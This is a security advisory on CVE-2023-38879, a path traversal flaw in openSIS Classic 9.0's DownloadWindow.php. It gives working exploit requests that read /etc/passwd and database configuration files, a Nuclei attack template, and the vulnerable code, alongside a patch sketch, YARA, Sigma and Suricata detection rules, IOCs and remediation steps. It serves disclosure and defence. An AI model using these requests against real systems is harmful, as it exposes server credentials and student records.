CVE-2023-38879

Executive Summary

CVE-2023-38879 is a high-severity path traversal vulnerability affecting OS4ED's openSIS Classic Community Edition version 9.0. The flaw resides in the DownloadWindow.php script, where the filename parameter is not properly sanitized. An unauthenticated remote attacker can manipulate this parameter to read arbitrary files from the server's filesystem, including sensitive configuration files, student records, and database credentials. The vulnerability has a CVSS v3.1 base score of 7.5 (High) and is confirmed exploitable via a public proof-of-concept (PoC) and a Nuclei template. No official patch has been released, making this a critical risk for any organization running the affected version.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone PHP web application. The risk is primarily to organizations that have deployed openSIS Classic Community Edition v9.0 on their infrastructure. The lack of an official patch means that supply chain security relies on manual code fixes or vendor updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Arbitrary file read can expose sensitive data.
• Integrity Impact: None (I:N) - No file modification possible.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, has a public PoC, and can lead to full disclosure of sensitive server data.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the DownloadWindow.php script. The script accepts a filename GET parameter and uses it to construct a file path for download. Without proper validation, an attacker can inject ../ sequences to navigate outside the intended web root directory.

Root Cause: The application fails to sanitize or validate the filename parameter. It does not check for path traversal sequences or restrict the base directory for file access.

Exploitation Flow:

1. An attacker sends a GET request to DownloadWindow.php with a crafted filename parameter.
2. The parameter includes ../ sequences to traverse directories, e.g., ../../../../../../../../etc/passwd.
3. The server processes the request and reads the file at the resolved path.
4. The file content is returned in the HTTP response, allowing the attacker to read sensitive files.

Impact: An attacker can read any file the web server user has access to, including:

• /etc/passwd (user account information)
• Database configuration files (e.g., config.php containing database credentials)
• Application source code
• Student and staff records stored in the filesystem

Vulnerable vs. Patched Code

Vulnerable Code (openSIS v9.0):

// DownloadWindow.php (simplified vulnerable version)
$filename = $_GET['filename'];
$filepath = $filename; // No sanitization
if (file_exists($filepath)) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($filepath) . '"');
    readfile($filepath);
}

Patched Code (Conceptual):

// DownloadWindow.php (patched version)
$filename = basename($_GET['filename']); // Remove path components
$baseDir = '/var/www/opensis/uploads/'; // Restrict to allowed directory
$filepath = $baseDir . $filename;
if (file_exists($filepath) && strpos(realpath($filepath), $baseDir) === 0) {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    readfile($filepath);
} else {
    http_response_code(404);
    echo 'File not found.';
}

Key Differences:

• The patched code uses basename() to strip directory traversal sequences.
• It restricts file access to a specific base directory ($baseDir).
• It validates that the resolved real path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running openSIS Classic Community Edition v9.0
• Network access to the web server

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/DownloadWindow.php
2. Send a crafted request to read /etc/passwd:

   curl "http://target/DownloadWindow.php?filename=../../../../../../../../etc/passwd"
   

3. The response will contain the contents of /etc/passwd if successful.

Advanced Exploitation:

• Read database configuration: filename=../../../../../../../../var/www/opensis/config.inc.php
• Read application source code: filename=../../../../../../../../var/www/opensis/index.php
• Use automated tools like Nuclei:

  nuclei -u http://target -t CVE-2023-38879.yaml
  

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to DownloadWindow.php with filename parameters containing ../ or absolute paths.
• Look for unusual file paths in the filename parameter, especially those targeting system files like /etc/passwd, /etc/shadow, or configuration files.

Hunting:

• Search logs for patterns: GET /DownloadWindow.php?filename=.*\.\./
• Correlate with high response sizes for small files (e.g., /etc/passwd is typically < 2KB).

Lab Setup:

• Deploy openSIS v9.0 in a Docker container for testing:

  docker run -d -p 8080:80 os4ed/opensis:9.0
  

• Test the vulnerability using the provided PoC.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /DownloadWindow.php with filename parameter containing ../ sequences.
• Example request:

  GET /DownloadWindow.php?filename=../../../../../../../../etc/passwd HTTP/1.1
  Host: target
  

• Response headers containing Content-Disposition: attachment; filename="passwd" or similar.

File System IOCs:

• Unauthorized access to files outside the web root, detected via file access logs or auditd.
• Presence of unexpected file reads in web server error logs.

Log IOCs:

• Apache/Nginx access logs showing DownloadWindow.php with path traversal patterns.
• Example log entry:

  192.168.1.100 - - [10/Oct/2023:12:34:56 +0000] "GET /DownloadWindow.php?filename=../../../../../../../../etc/passwd HTTP/1.1" 200 1234 "-" "curl/7.68.0"
  

Detection Engineering

YARA Rule

rule CVE_2023_38879_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting openSIS DownloadWindow.php"
        author = "Valters IT"
        date = "2023-10-10"
        reference = "CVE-2023-38879"
        severity = "high"
    strings:
        $s1 = "DownloadWindow.php" nocase
        $s2 = "filename=" nocase
        $s3 = "../" nocase
        $s4 = "/etc/passwd" nocase
        $s5 = "/etc/shadow" nocase
        $s6 = "config.inc.php" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: CVE-2023-38879 openSIS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting path traversal in openSIS DownloadWindow.php
author: Valters IT
date: 2023/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38879
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'DownloadWindow.php'
            - 'filename='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-38879 openSIS Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"DownloadWindow.php"; http_uri; content:"filename="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-38879

info:
  name: openSIS v9.0 - Path Traversal
  author: haliteroglu
  severity: high
  description: |
    A path traversal vulnerability exists in openSIS Classic Community Edition v9.0 via the 'filename' parameter in DownloadWindow.php. An unauthenticated remote attacker can exploit this to read arbitrary files on the server by manipulating file paths.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server by manipulating the filename parameter in DownloadWindow.php, potentially exposing student records, staff information, and database credentials.
  remediation: |
    Update openSIS to a version newer than 9.0 that validates file paths in DownloadWindow.php and restricts file access to authorized directories only.
  reference:
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38879
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38879
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38879
    cwe-id: CWE-22
    epss-score: 0.10555
    epss-percentile: 0.93297
    cpe: cpe:2.3:a:os4ed:opensis:9.0:*:*:*:community:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query: title:"openSIS"
    fofa-query: title="openSIS"
  tags: cve,cve2023,opensis,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/DownloadWindow.php?filename=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "filename="
          - "text/html"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202ab17b79c1e159394316c29a92461d8fb991cd1250d7d52aef1281fdcae25780022100c2734da482984b86ffbf4392e0168e174852db31a3f29913e04702a38d4f7718:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Manually patch DownloadWindow.php to sanitize the filename parameter using basename() and restrict file access to a specific directory.
2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing ../ or absolute paths in the filename parameter.
3. Disable Unnecessary Features: If DownloadWindow.php is not critical, remove or disable it.

Long-Term Fix:

• Upgrade to a patched version of openSIS if the vendor releases one.
• Implement a file download mechanism that uses file IDs or hashes instead of direct file paths.
• Conduct a security audit of the entire application for similar vulnerabilities.

Detection & Monitoring:

• Enable detailed logging for web server access and errors.
• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Regularly review logs for suspicious activity.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 31A2DE1990C3B907D635C18B] */}